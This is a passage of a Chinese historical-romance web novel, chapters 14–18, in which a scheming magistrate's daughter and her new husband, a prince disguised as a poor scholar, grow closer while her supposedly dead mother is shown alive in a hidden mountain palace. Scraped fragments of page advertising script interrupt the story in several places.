至于皇祖父定下的,正妃只能是小官之女的规矩,他从前也没想过要自己去遵从。 而眼下,他第一次觉得这古板的规矩,并非全无可取之处。 顾清嘉佯装出几分紧张,仿佛仍是许菱玉熟悉的,老实本分的书生:“阿玉,我们既已拜了天地高堂,便是名正言顺的夫妻。我思来想去,还是觉得,今夜应当陪着你。” 他语气端方正经,说完,却站起身,伸手去取许菱玉手中棉巾,作势要帮她擦头发。 许菱玉惊得后退两步,抵上妆台:“不,不用了。” 她对成亲的设想,可不包括与一个不算熟悉的男子同床共枕啊! 即便他生得俊,那,那也不行! 14. 夸赞 面对他这样一个,被她自己算计来的夫君,许菱玉还是头一次露怯,窘迫地拿棉巾捂住寝衣衣襟交叠处。 扬言一定会嫁他的时候,在公堂上义正言辞的时候,当着众宾客的面扇继母巴掌的时候,许小姐多威风啊。 再看此情此景,顾清嘉眼底不由沁出几丝笑意。 竭力克制着,才绷住唇角,不动声色。 “阿玉,这门亲事,原本虽非我所愿,可如今我们已是夫妻,我便必须尽到为夫的责任,否则岂不枉读圣贤书?”顾清嘉语气郑重,据理力争,“照顾好娘子,便是我的责任,我并非要逼迫你什么。” 说到此处,他移开目光,稍显无措地落在绣屏花鸟上。 他是想吓唬吓唬她,杀杀这小老虎的锐气。 可他没想到,高估了自己的定力。 小老虎钗环尽卸,素面朝天,雪白莹润的脸颊透出沐浴后的绯红,娇嫩似晨雾里的海棠花瓣。 寝衣单薄,纤腰楚楚,本就引人遐想。 她若如平日里,大大方方张扬些还好。 偏生露怯,缩起爪子的姿态,莫名勾得人心痒,想趁虚欺负回去。 头一回对姑娘家生出这般卑劣心思,顾清嘉的无措,也不全然是装出来的。 他的微妙转变,被许菱玉捕捉到,顿时滋生出东风压倒西风的气势。 还以为秀才长了胆子,竟敢执意与她圆房。 没想到,他的胆气是强装出来的,仍是个愣头青。 他脾气好,力气虽大,胆子却小,不敢对她用强的,那她还怕什么? 心念飞转,许菱玉一双妙目也流转盈笑。 “秀才,你说那么多冠冕堂皇的话,其实只是嫌弃高澍醉酒,才壮着胆子来我这里的吧?”许菱玉仍旧抓着棉巾,披散着墨发,朝贾秀才走近两步。 隔着一臂之距站定,许菱玉抬眸凝着他俊朗侧脸。 烛光照透他耳尖,疑似泛红,许菱玉忍不住失笑:“我不是跟你说了,可以让他睡长缨屋里?他把你们床吐脏了?” 顾清嘉被她这般盯着,身形微僵,迎上她视线,说出个更合理的借口:“他鼾声如雷,吵得我难以入眠。” 许菱玉愣了愣。 随即笑眼弯弯,折身爬进床里。 她坐在床里侧,拍拍外面的床褥,大大方方道:“好吧,今夜分你半张床。” 待顾清嘉脱了鞋袜上来,她又道:“不过,你若是睡相不好,我可是会把你踢下去的。” “不会。”顾清嘉轻应,状似规矩本分。 “谅你也不敢!” 明明是被他威逼利诱,坑蒙拐骗来的,秀才却手脚勤快,老实守礼,俨然真把她当娘子在迁就。 嫁夫如此,许菱玉对他没什么不放心的。 身子一转,很快朝里睡去。 顾清嘉听着枕畔匀而轻的呼吸声,鼻尖萦绕的是已渐渐熟悉的浅香。 他尚无睡意,望着高几上明炽的红烛,将手臂枕在脑后,悠闲地回忆起近来诸多意料之外的事。 初时觉得荒唐,此刻忆起,倒品出几分别样的意趣。 清早醒来,天光已亮。 许菱玉睁开眼时,床外侧已没有秀才的踪影。 她只当贾秀才收拾好,回后院去了。 屋里没人,她便自顾自在屏风后褪下寝衣,换上花梨木架子上备好的家常衫裙。 拢着头发,走到妆台侧,许菱玉才觉出哪里不对。 她猛然侧首,竟瞧见贾秀才端坐书案侧,专注地写着字。 “秀才,你怎么还没走?!”许菱玉再度疑惑、惊诧。 想到方才她在里头换衣裙,秀才就在一道半透的绢纱屏风外,许菱玉双颊登时染上红霞。 顾清嘉驻笔,侧眸望来。 迟疑一瞬,起身大步走到她面前,似乎没有察觉到她的异样,俯首低低恳求:“阿玉,我不想被高澍笑话,我乖乖听话,你能不能不要赶我走?” 许菱玉并未立时回应,脑子有些乱,总觉得她与秀才之间的关系,哪里出了差错。 可秀才在她面前,仍是端方顺从的,甚至比成亲前多几分卑微。 许菱玉想不出,究竟哪里怪。 一切不那么重要的事,她都很擅长将之抛在脑后。 此刻,她稍稍平复心绪,将注意力从贾秀才身上移开,凝神细听院子里的动静,果然听到高澍与芹姨说话的声音。 高澍还没走,所以秀才不想当着他面搬回后院,被高澍取笑。 许菱玉觉得这担忧,很合情合理。 秀才留下是事出有因,又不是故意占她便宜。 难道她方才在里头衣裙换到一半,秀才出言阻止,她就不窘迫了? 不如就像现在,都当做什么也没发生。 这会子,许菱玉倒是庆幸秀才没急着搬。 不然让高澍酒醒确定,她与秀才没做真夫妻,不知又要同她怎么闹呢。 “那你留下吧。”许菱玉觉着,自己这样说,利用人的心思未免太明显了些,不厚道,便又补上一句缓和气氛,“我也没要赶你走。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 听到秀才松一口气,许菱玉不由心生一丝愧疚。 她会不会对秀才太不好了些? 当初是看秀才顺眼,又急需一门合理的亲事,才设计逼迫秀才。 可她毕竟不是那等欺男霸女的恶人,没想着要一直欺负一个无辜人。 秀才模样好,脾气好,坐怀不乱,品行可靠,正是她一直想要的夫君呢。 还是在她祭拜过阿娘之后,碰巧让她在桂花巷捡到的。 许菱玉想想,其实与秀才做真夫妻,似乎也不错。 “你……”许菱玉略显焦躁地抓抓颈侧头发,眼睫微敛,盯着鞋尖,清清嗓子道,“你今日得空了,把东西都搬过来吧。” “阿玉,你的意思是?”贾秀才似乎高兴坏了,不敢相信自己的耳朵。 许菱玉猛然抬眸,瞪着他,语气凶巴巴的:“我没什么意思,你不许说!” 继而,不等贾秀才反应,羞臊地跺跺脚,坐到妆台前梳妆去了。 顾清嘉英隽的眼中悄然漾起笑意,闲适地环顾许菱玉的香闺。 目光扫过墙角叠放的,尚未被许菱玉发现的两只箱笼时,他神情一滞。 状若无意,不紧不慢踱步,绕过许菱玉身后,悄悄挪过去,以高大的身形挡住,足跟缓缓后移,将箱笼推至低垂的帷幔后。 许菱玉挽好发髻,手中捏一根蝴蝶簪子,侧首望发间插,才发现他站在不远处。 她插好簪子,抿抿发髻,好奇问:“你傻站着做什么?” “娘子花颜月貌,天生丽质,为夫在想,先前是我不识抬举了。”顾清嘉微微含笑,躬身拱手,“当向娘子赔罪才是。” 突如其来的夸赞,听得许菱玉心尖一颤。 他,他何时开始唤她娘子的?昨儿晚上不是还不愿意么? 许菱玉红着耳尖,目光仓促移开,重新望进菱花镜里,嘴上嗔道:“花言巧语,别以为这样就可以躲懒少干活。我饿了,你去瞧瞧芹姨早膳可备好了?” “我是真心夸赞,无半句虚言。”顾清嘉一本正经应。 听起来并无旖旎情味,偏他大掌往许菱玉肩头轻搭了一下。 “我去去就来。”仿佛只为了再说这一句。 之后,便迈开长腿,快步走出去。 许菱玉呆愣着,瞧见镜中几乎在滋滋冒热气的自己,心口怦怦直跳。 她一手抚上脸颊,一手轻压心口。 蓦地,忆起话本子里,佳人对才子动心的描述。 从未体味过的情愫,藤蔓似的,攀缠在她心口。 15. 紧张 不多时,秀才进来唤她,说是早膳已备好,问她要不要端进来。 仿佛只要许菱玉点点头,他立刻转身出去,把早膳捧到她面前。 从前,这是金钿的活儿。 秀才倒是表里如一,才说了要照顾她,便开始鞍前马后。 许菱玉弯起刚涂过红艳口脂的唇,朝窗外望一眼,瞧见院中和暖的阳光,以及走来走去,热锅上的蚂蚁似的高澍,轻道:“早膳摆在院子里,一块儿吃吧。” 贾秀才望她一眼,没说什么,点点头,出去了。 等许菱玉收拾妥当,从屋子里出来,他们已将膳桌摆在玉兰树下。 今日人多,芹姨备了七宝素粥、鲜肉包子、晶粉鸡蛋馅饼,金钿另从外头买来油炸烩、豆沙糕,满园飘香。 “都坐下吃吧。”许菱玉招呼众人落座,率先将芹姨扶到桌旁,笑着哄道,“就数芹姨最辛苦,您先坐。” 说话间,已将芹姨按在条凳上。 “你这丫头。”芹姨无奈地笑着摇头,笑意透着欣慰与欢喜。 顾清嘉默默瞧着,缓步走到许菱玉身侧的条凳后,把靠近芹姨的位置空出,留给许菱玉。 原本高澍木愣愣站在芹姨对侧,顾清嘉这么一过来,便离他很近。 高澍身体反应快过脑子,先是下意识往后退一步,继而,猴子似地往前一跳,麻利地拿衣袖擦拭顾清嘉面前的条凳。 “……”许菱玉被他一惊一乍闹得一头雾水,“高澍,你怎么跟丢了魂似的?” 在屋里看到高澍走来走去时,她以为这个傻大个是在为昨夜醉酒的事懊恼,又为她与秀才有没有“圆房”的事焦急。 哪知,她出来之后,高澍一反常态,什么也没乱说,成了锯嘴葫芦。 甚至主动跳出来,殷勤地给秀才擦凳子。 昨晚还叫秀才小白脸,今日就换了一副面孔。 高澍可不是这样善变的性子。 “秀才,你打他了?”许菱玉疑惑地看向顾清嘉。 顾清嘉弯唇,摇摇头。 随即伸手扶住许菱玉手臂:“阿玉不是饿了么?先坐下,边吃边说。” 若是平日里的高澍,这会子定会跳脚:“你让他打我一下试试,他能打得过我?!” 可今日的高澍,听到许菱玉的疑问,一声不吭,憋得脸通红,同手同脚绕过条凳左侧坐下。 “奇怪。”许菱玉低声嘟囔。 她当真饿坏了,脑子懒得动,便没多想,接过贾秀才盛好的粥,慢慢填起肚子。 “许是高公子酒醒,知道先前对我太多无礼,今日想要赔礼道歉,才会如此。”顾清嘉慢条斯理解释,“阿玉不必在意。” 似乎是为了映证他的话,他话音刚落,高澍便霍然站起来,白着一张脸,朝顾清嘉躬身拱手,甚为虔诚:“贾公子说的是,先前都是我不对,希望贾公子宽宏大量,莫要放在心上。” “高公子不必多礼。”顾清嘉瞥他一眼,语气平常,高澍的脸却更白了。 许菱玉只当他是宿醉后,身子太虚,不耐烦道:“拜来拜去,早膳都要凉了,快坐下好好吃饭,当心饿晕过去,我可不会再管你!” 这边高澍老实了,埋头吃东西。 那一头,金钿却劝不动长缨,俩人拉扯着,长缨死活不肯落座。 许菱玉没开口,侧眸盯着贾秀才。 秀才家道中落前,难道还是大户人家?看长缨对秀才的态度,也太多于恭敬了。 也或许是读书人,格外讲究些? “长缨,坐下用膳。”顾清嘉放下刚盛好的粥,抬眸吩咐,语气淡然。 “是。”长缨领命。 可他坐下的动作,极度不自然,比高澍好不了多少。 “你们读书人,就是讲究。”许菱玉扫一眼他们,感慨道,“小门小户的,讲究什么主仆尊卑,一起坐下用膳就乱套了?不至于。往后都这样,再在我面前穷讲究,我可要罚你月钱了。” 后头一句,她是笑着说的。 气氛缓和,许菱玉胃口也好,比平日多吃了半个鲜肉包子。 贾秀才倒是不嫌弃,将她掰开的另外半个包子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,顺势接过去吃了。 用罢早膳,许菱玉坐在窗内,看着院中挽袖打水的贾秀才,真是越看越满意。 谁说强扭的瓜不甜来着? 缸里打满水,秀才还要去帮着长缨劈柴,被高澍率先抢过去。 许菱玉放下礼单,朝着窗外柔声唤:“秀才,你进来。” 不多时,顾清嘉走进来,以为许菱玉另有事要吩咐他去做。 岂料,他刚走到书案侧。 许菱玉便站起身,款款绕过书案,抽出一条石蕊红的绢帕,抬手凑近他侧脸。 柔软的绢帕触碰到他脸庞的一瞬间,顾清嘉心口蓦地一震。 “你紧张什么?”许菱玉替他擦拭脸侧、额角的细汗,嫣然含笑。 “脸脏了么?多谢娘子,我自己来。”顾清嘉说着,抬手来接她手里的帕子。 不期然,触碰到许菱玉指尖。 许菱玉指尖微颤,脸一红,低声嗔怪:“秀才,你故意的吧?” “没正经。”许菱玉转过身去,才后知后觉想起窗扇没关。 院中,高澍那张见鬼的神情,让她越发脸热。 “高澍,你还不走,想赖在我这里吃午膳不成?”许菱玉为掩饰心慌,语气不由自主多了些盛气凌人。 “阿玉,你也太抠门了。”高澍嘀咕一句,讪讪将斧头放到地上。 这院子有一尊他得罪不起,却已然得罪的大佛,他也不想待在这里啊! 可是,他与阿玉青梅竹马,就算阿玉不喜欢他,他也不能看着阿玉捋虎须作死,而不出言提醒吧? 他是想提醒来着,只是一直没找到与阿玉独处的机会。 贾秀才真身可是当今二皇子,不管其为什么隐姓埋名娶阿玉,高澍也不敢像从前一样和阿玉相处了。 眼下阿玉自己赶他走,高澍有苦说不出。 罢了,看阿玉对贾秀才的稀罕样,高澍觉着,还是不要戳破的好。 不戳破,至少阿玉眼下是幸福的。 若是告诉阿玉,他们哪个能担得起二皇子的怒气? 16. 勾动 “行,我这就走,衙门里忙着呢。”高澍站起身,拍拍衣摆上的灰尘,没敢再往屋里瞧。 可下一瞬,他分明听见屋里有人道:“阿玉,我去送送高澍。” 是高澍从前不在意,如今十分警醒的“贾秀才”的声音。 高澍顿时像被踩了尾巴的猫,声调夸张又怪异地拒绝:“不必了!” 许是觉着语气太生硬,又汗涔涔道:“贾公子不必如此客气的。” 顾清嘉自然不理会他愿不愿意,慢条斯理道:“我觉得很有必要。先前高公子对我误会良多,但你对阿玉的心意,我很感激,我们正好聊一聊,或许可以成为朋友。” “去吧。”许菱玉对贾秀才的说法,深以为然。 她以为贾秀才对高澍,多少会心存芥蒂。 没想到贾秀才心胸如此宽广,比她想象中还有君子之风。 “高澍就是嘴上没把门,其实不会随便针对人的。”许菱玉中肯地补上一句。 殊不知,高澍转过身去时,面色比吃了黄连还苦。 不会随便针对人?姑奶奶,你可少说两句吧。 巷子只比马车宽不了多少,两面是墙夹着,大半遮在墙阴里,高澍走在顾清嘉身后,脊背阵阵发冷。 巷子里也有街坊走动,都认得高澍,经过昨日,也认得顾清嘉了,纷纷打招呼。 顾清嘉回应得自然,仿佛只是众人眼里的穷秀才。 可高澍头皮紧绷,心神半点不敢放松。 突然间,他觉得自己像极了正被送上断头台的死囚犯。 拖着沉重的步子,走到巷口,前面那人忽而停下脚步,高澍闭了闭眼,僵硬的小腿像是已经踏进棺材。 “想活命吗?”顾清嘉侧身,淡淡开口。 田庄上也有东西送来,许菱玉的乳兄沈禄,也就是芹姨的儿子,拉了满满两大车蔬果、干货。 他们就这几个人,一时吃不完,放久了会坏。 许菱玉和芹姨、金钿合计,分出足有一车的东西,拿篮子重新装了,让贾秀才和长缨给街坊们送去。 等忙完,已是掌灯时分。 街坊们也朴实,都不白拿,这家送碗热汤,那家送条蒸鱼,他们晚膳竟也够吃,不必另做了。 长缨觉得新鲜,目光流连在膳桌上。 那眼神,跟昨日看到许菱玉篮子里的红丝带,如出一辙。 “贾家落魄前,究竟是做什么的?”许菱玉望着贾秀才,终于问出心中疑惑。 越跟这对主仆相处,越觉得贾家不像寻常人家。 至少,门第应当比她高些。 长缨眼观鼻,鼻观心,这样尖锐的问题,没他插嘴的份儿,得看公子希望“贾家”是怎样的人家。 “阿玉不是说,我们两家是自小定下的婚约么?怎么今日又说不知道贾家?”顾清嘉轻抿薄唇,勾一丝清浅笑意。 看起来,不像是要同许菱玉秋后算账。 也是,贾秀才吃她的,喝她的,今日体贴勤快,不像全然对她无意,自然不会再计较公堂上的事。 秀才不过是故意打趣她。 许菱玉微微咬唇,将筷箸尖的几颗饭粒子含进嘴里,面颊微热:“不说便罢,我再不问了。” 不管是什么门第,如今也落魄到她手里了,只要他考不中进士,当不了大官,这一辈子便翻不出她手掌心去。 许菱玉想着想着,心里美滋滋。 往后还是得多让秀才干活,少给他时间去读书,才是正理。 沐洗过后,许菱玉无事,靠着床头软枕,捧起尚未看完的话本子。 故事里写的,是一位高中状元的才子,被尚书大人榜下捉婿,不畏强权,想去御前告状,却因一场意外,对尚书千金一见倾心。 许菱玉已看了大半,正好看到才子与千金喜结连理。 从前在旁的话本子里,也看过主人公成婚,或是私定终身的情节。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >只是,她没上过心,也没留意是怎样描写的。 而今日,她目光落在这几行描写上,迟迟没有再翻页。 书中着墨并不多,皆是含蓄唯美的词句。 云情雨意之类的措辞,看得许菱玉云里雾里,没明白具体做了些什么。 可有一点,她看懂了,才子亲吮佳人唇瓣时,夸赞其香甜似蜜,而佳人忘记呼吸,险些晕过去。 字她都认得,应当算是懂的。 但她心里又冒出许多疑问。 许菱玉探出一点点舌尖,在自己唇上轻舔一下,疑惑并未解除。 不香也不甜啊,难道话本里佳人沐洗过后还涂着口脂,且那口脂里特意加了蜜糖? 前半段故事她还记得,丞相千金是位聪慧女子,与才子的相遇,甚至是她巧妙设计的,那她为何会连呼吸这样,出于求生本能的事,也会忘记呢? 许菱玉反复琢磨着那短短几句话,最终得出结论,定是写话本的人夸大其词。 说不定,写故事的人,和她一样,根本没经历过这些事,胡编乱造的。 要不话本里的才子怎么不是状元就是探花的?状元、探花要这么好中,她能长这么大还没见着一个活的? 明知是假,可许菱玉不得不承认,编故事的很会勾动人心。 听到贾秀才走进来的脚步声,隔着屏风,许菱玉已控制不住胡思乱想的心神。 秀才的脚步声不重,却一下一下,像小锤敲击在她心口。 敲得她心尖一阵震颤,心跳也越来越快。 待贾秀才绕过屏风,身上水蓝色长衫穿得整整齐齐,携一身清爽儒俊的书卷气,走入她视野,许菱玉的心,又奇异般镇定下来。 她与秀才是夫妻,她对自己夫君有想法,那不是天经地义的么?! 她紧紧攥着话本子,像是从字里行间积蓄好更多勇气,面颊红润,语气急促:“秀才,这段话我看不懂,你过来,读给我听听。” 17. 暗示 顾清嘉察觉到她神情异样,心内莫名,面上却一派淡然,恍若未觉。 “阿玉看的什么书?”顾清嘉轻问,上前两步。 许菱玉往里挪挪,顾清嘉便顺势坐到她外侧的位置。 他一双长腿垂放床边,收收袖口,仪态端方清俊,接过许菱玉递来的书册。 没看书名,目光落在书页上,许菱玉细指所指的位置。 只一眼,顾清嘉眸光微震。 像被什么烫着似的,仓促移开眼。 年少时,这样的话本子,他也曾看过。 自然是偷看,绝无可能和旁人一起读,更何况是女子。 到底是经历过战场厮杀的人,顾清嘉一呼一吸之间,心绪便平复下来。 他转过脸,对上许菱玉清莹莹的眼,端凝着面前含着一丝丝羞怯紧张的女子,忽而有种哭笑不得的无奈感。 自小没娘的许菱玉,究竟是怎样野蛮生长,才长成今日这般自在娇纵模样的? 她的娇纵,与京城里的千金贵女,又明显不同。 一个在公堂上撒谎都不眨眼的女子,不管想要什么,都敢于去争取,顾清嘉在她身上,竟感受到光明磊落的另一种姿态。 “秀才,”许菱玉清清嗓子,气虚了几分,稍稍别开眼,强撑出自然从容的语气,“你照书读便是,看着我做什么?我就是没看懂,想着你读书多,或许能解释一二。” “真的只是想让我讲给你听?”顾清嘉轻问,斯文温和的语气里似浸染笑意。 “你不愿意就算了!”许菱玉知道,他不可能不懂她的暗示。 既然不肯,便是还没打算与她亲近了。 啊啊啊,她一个姑娘家主动,竟被他拒绝,许菱玉心底暗暗滋长的期待,悉数化为羞窘,从薄薄白皙的脸颊透出来。 许菱玉抓过书册,仓促又狼狈地往枕头底下塞。 顺势背过身去,再不往他这边瞧一眼。 顾清嘉默默攥紧拳心,望着她拢住薄衾的迤逦侧影,嗓音略哑:“阿玉,我身无长物,又无功名傍身,恐怕会耽误你。” 许菱玉愣了愣。 随即拉起薄衾,盖住耳朵,一副不想听的模样。 顾清嘉脱下布履,端坐床头,目光从许菱玉身上移开,落在床尾的铜鎏金帐钩和红绡软帐。 他素来不喜女子亲近,那些名贵的香料气,柔弱的,泫然欲泣的姿态,或多或少让他不耐烦。 从前,他连成亲都未设想过。 更想不到,有朝一日,他会在没决定与一位女子共度一生之前,先与之共入罗帐。 难怪短短时日,长缨便会忍不住替她求情。 许菱玉身上似乎有种说不出的魔力,能勾动人早已习惯压制的东西。 “你一个女子,不了解我,怎敢把自己交给我?”顾清嘉抬手,拨动身侧帐钩下的红穗子。 穗子细软,像极了佳人头发的触感,而那红艳的色彩,又叫人想起院中飘动的红丝带。 “贾家并非高门大户,家中本有些余财,却被一众财狼叔伯觊觎,可我父亲要我敬重他们,所以我便任由他们占去家财,自己流落异乡。”顾清嘉说着,语气里透出恰到好处的不甘与落寞,“可你不一样,你原本可以入京选秀,兴许可以做皇子妃。阿玉,我须得考上功名,才配得上你。” 没想到平日里温和勤快的秀才,内心一直在饱受煎熬。 许菱玉听不得老实人被欺负,早想打断他。 可她白日里问秀才,秀才不肯说,这会子好不容易听秀才主动说起贾家的事,她又很想知道。 忍了又忍,终于等到贾秀才说完。 许菱玉掌心往床褥上一支,霍然坐起身,转向贾秀才,义愤填膺:“谁稀罕做皇子妃了?你是我夫君,我都没嫌弃你,不许你妄自菲薄!” 对上秀才愕然的眼神,她挪挪身子,找了个舒服的姿势坐好:“他们怎么占的你家产,你快讲给我听听,我去替你讨回公道!” 替秀才讨回公道是一回事,能多得一大笔家财,才是意外之喜。 本来她是只图秀才的俊脸和好性子,可若他还有钱,谁会嫌钱多呢? 他性子软,对叔伯拉不下脸,就让她去做坏人好了。 顾清嘉摇摇头,对家财的事,没多做解释。 有些谎话,越是语焉不详,越能糊弄人。 “阿玉,你当真不会看不起我?”顾清嘉状似欣喜,伸手拉住许菱玉一角衣袖,“可是,你为何不想入京参加择选?当上皇子正妃,一身荣华,再不会被人欺负,不是很好吗?” “被人欺负?你说二太太和我舅舅他们啊?”许菱玉摆摆手,“他们没那本事欺负我。” 说起不想选秀,许菱玉就有些停不下来,暂且把刚才想要谋算的贾家钱财也忘了。 “我要是当上皇子妃,对我可没什么好处,反而便宜了许淳他们。你听说过吧?我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘在我很小的时候就去了,很可能是许淳害死的,他越想让我去京城,我就越不去。” 许菱玉展颜,盈盈眸光透出几分得意。 想到不好的事,眼中光亮又倏而暗下来,愤愤不平:“说到那些皇子妃,她们被人欺负的还少吗?不说别人,就说原来的幽王妃吧,还是太祖皇帝亲选的呢,两年前却离奇暴毙,幽王将出身世家大族的侧妃扶正。就算对先幽王妃的死因秘而不宣,可谁猜不到是被何人所害?皇上也知道,要不怎么罚幽王半年俸禄?” “幸而老天有眼,让红叶阁的人替天行道,杀了幽王,以命抵命。先幽王妃可怜,伸张正义的红叶婆婆也可怜,如今不知在哪里被朝廷追杀呢。” 顾清嘉问话时,倒没想到她对皇室意见这样大。 “阿玉性情率真,当真敢说。”顾清嘉睫羽微敛,藏起眼中真实情绪,轻问,“阿玉觉得,太祖皇帝定下的规矩,是错了吗?” 太祖皇帝半生戎马,救百姓于水火,在世人心中,几乎是半神一样的存在。 他定下的规矩,上至当今皇帝,下到文武百官,无人敢质疑。 是以,就连太子妃,也是六品小官之女,虽是琅琊王氏的一支没落旁支,却也是这两年才与王氏嫡支重新走动。 此番选秀,父皇意在为他和三皇子择正妃,同时为六位藩王赐送美人。 顾清嘉没想到,许菱玉对选秀会有这样一番见解。 旁的不说,其中一条,倒与他的想法不谋而合。 皇子正妃的人选,不依皇子的喜好,而是生硬框定,便是许多变数的祸根。 许菱玉没立时没应,她眨眨眼,犹豫一瞬,双手合十,朝空气拜了三拜,口中念念有词:“太祖皇帝在上,小女对您景仰膜拜,绝无一丝不敬之心。” 言毕,她抬眸,脆生生道:“就是错了啊。” “在外头不能说,我在自家床头还不能说几句了?”许菱玉细眉微挑,“好心办坏事的教训还少了?幽王前车之鉴,我就不信那些高高在上的皇子们,还能心甘情愿守着旧规矩。可他们没一个敢出来说话,就连那位杀人如麻的二皇子,竟也不敢。” 许菱玉摇摇头,颇为感慨,不知今岁选秀,还有哪几位倒霉蛋被选上。 “杀人如麻?”顾清嘉知道自己名声不好,可被人指着鼻子骂,还挺新鲜,他也不知自己怎么还能弯起唇角,“阿玉为何觉得,其他皇子不敢做的事,二皇子就该敢?” 18. 平安 说起当朝二皇子,谁都知道是个狠人。 当初忠勇将军魏城战败,父子二人双双死在战场上。 那时候的二皇子,估计与她今年差不多大,竟敢主动请缨,前往北疆。 苦战两年,杀退北夷数万铁骑,俘虏两万北夷精锐王师,当着北疆百姓的面,尽数坑杀在城外最大的荒原。 听说那片荒原,如今草木丰茂,却也人迹罕至。 荒原上吹来的北风,都格外阴森,像是无数怨魂呼号。 许菱玉从未去过北疆,可她见过清江县外的乱葬岗啊,北疆城外的荒原,定然是比乱葬岗更森然的存在。 但二皇子是平定北疆十余年动乱的英雄,身为大晋子民,只会敬他,不会恨他。 许菱玉自然也敬服,但她和大多数清江县百姓一样,更多的是怕。 尤其在听说此番秀女择选,也包括二皇子正妃的时候。 “二皇子胆子最大,最勇武啊。”许菱玉觉着,自己先前说二皇子杀人如麻,有失公允,下意识换了措辞,“若他都不敢,其他人就更不敢了。” 她真心希望二皇子敢于推翻这破规矩,往后,像她一样的小官之女,便不必被架在火上烤了。 勇武?听起来顺耳多了,许菱玉是在夸他呢。 顾清嘉语气如常:“阿玉觉得,二皇子是好人还是坏人?” 他知道自己名声不好,就连父皇也说他嗜杀成性、冷血无情。 所以,他凯旋回京后,父皇虽按惯例犒赏,却罚他闭门思过一个月,让他在府中抄写佛经,收敛周身血腥肃杀之气。 只不过,他经书抄得不甚用心,禁足一月出门,反倒呈上一折陈述弊患、请求削藩的奏疏。 惹得父皇大动肝火,一气之下罚他闭门半年,静思己过。 许菱玉是大晋子民,自然觉得二皇子是好人。 可他手里握着数万条人命呢,死在他手里的人,应当会视其为夺命的阎罗。 许菱玉思忖片刻,托腮道:“二皇子是位很好的将领,可对于即将被选做他正妃的可怜女子来说,恐怕就有些残忍了。骁勇神武的铁血将军,修座祠堂供着敬着还好,若要嫁他,与之双宿双栖。” 许菱玉想到庙里那些眼瞪如铃、目光如炬的金刚菩萨,二皇子大抵就长那副凶神相。 设身处地为将被选中的可怜虫想想,许菱玉忍不住打了个寒噤:“太可怕了,只怕二皇子妃睡觉都不敢闭眼。” 因在自家屋里,许菱玉的情绪反应极为真实,毫不遮掩。 顾清嘉瞧在眼中,忽而生出一股冲动。 若把她变成她口中的“可怜女子”,不知她睡觉敢不敢闭眼睛呢? 昨夜宿在他身侧,她倒是睡得香甜。 换做旁的女子,得知他真实身份的那一日,恐怕会吓去半条命。 可她是许菱玉啊,仿佛遇到任何事,都能想到法子解决的许菱玉,顾清嘉实难想象,她会作何反应。 跪地求饶?还是装可怜,以情动人? 顾清嘉眼底泄露出一丝期待,眼神难得透出些温柔之色。 云雾山深处,几乎终年不散的迷雾之后,一大片宫苑悄然寂立。 侍卫于忠难得有空,陪家眷用晚膳。 “阿娘!”于思思拿着一张嵌宝石弓弩,给款步行至膳厅的美妇人看,“你瞧,这是爹今日新送我的弓弩,不轻不重,刚刚好,很趁手。” “思思喜欢就好。”美妇人看一眼尚未及换便服的于忠,略垂眸,语气温柔,情绪淡得似从画里走出来的人,“回来了。” “嗯。”于忠沉声应。 一家三口落座,于思思坐在爹娘中间,左看看,右看看,百思不得其解。 山外的世界是什么样呢?世间的夫妻都像她爹娘这般么?她都十四了,爹娘却像是不熟? 从小到大都是这样,她也习惯了,心里有些闷,便闷头扒饭。 忽而,一条长臂经过她眼帘,伸向阿娘那一侧。 诶?爹爹这木头呆子,怎么知道给娘夹菜了? 于思思腮帮子鼓鼓的,嫁妆吃得专心,没发现异常。 实则,她眼睛滴溜溜转,早顺着爹的手臂,望向阿娘的碗了。 阿娘愣住,于思思也愣住。 不是,满桌子菜,爹夹哪一样不好,非得夹阿娘不爱吃的?! 妇人垂眸,看着半碗精米饭上蓦然多出的一块油亮亮的红烧肉,抬起眸子,眼神平和:“谢谢,可我吃不下这个。” 于思思再也忍不住,将口中饭菜咽下,双手支在桌旁:“爹爹,不是我说你,连我都知道娘不爱吃油腥,你怎么能不知道呢?你该多关心阿娘的!” 于思思的控诉,引得于忠挤出一丝苦笑。 他若多关心阿茴,日子恐怕就不会像现在这样平静了。 坐在他对首,雪肤花貌,腕间戴着小叶紫檀佛珠,妆容素净,看起来不过双十年华的美妇人,竟生着一张与许菱玉相似的脸。 正是外间已然“死”去十余年的孟茴! 于忠收回筷箸,那块油亮亮的红烧肉却依然躺在孟茴碗中。 “今日不同,尝尝吧,晚些回房,我再与你细说。”于忠说着,给于思思也夹一块。 随即,略垂首,自己默默吃下一块。 “爹爹今日不走了?”于思思欣喜。 爹爹似乎话里有话,于思思没听懂,以为今日换了厨子。 配着米饭,嚼巴嚼巴咽下:“没什么特别啊。” 孟茴与于忠虽与寻常夫妻不同,恭敬有余,亲近不足,可毕竟认识十余年,她对于忠有几分了解。 于忠话不多,对宁王爷忠心不二,除了遵王爷之命,不让她离开云雾山,旁的事上,从不干涉她什么。 吃穿用度,全凭她喜好。 这还是第一次,她明确告诉他,她不喜欢的东西,他仍固执地劝她尝尝。 孟茴盯着油腻的红烧肉,秀眉微颦,迟疑片刻,终是拿筷箸夹起,忍着胃里的抗拒,小口小口吃下。 她已好些年没吃油腥重的东西,连饮两盏云雾茶,方才缓过来。 晚膳她胃口不太好,吃的比往常还少些。 于忠看在眼里,也不强求,只悄悄向厨房要来两份点心,说是自己要吃。 沐洗过后,他提着食盒,回到已有些陌生的寝屋,看着未被岁月侵蚀半分的孟茴,眼中情绪暗滚,又生生压下。 “不腻,要不要再吃些?”于忠坐到她身侧圆凳上,轻问。 孟茴摇摇头,放下木梳,侧首望他:“你今日回来,想对我说什么?” 话音刚落,她忽而想到什么,神情紧张起来:“是不是阿玉出了什么事?” “没有,你别担心。”于忠迟疑一瞬,终于握住她的手,盯着她眼中担忧的神色,沉声解释,“阿玉成亲了,我特意去看过,那位郎君是位俊朗书生,性子很好,是阿玉喜欢,自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 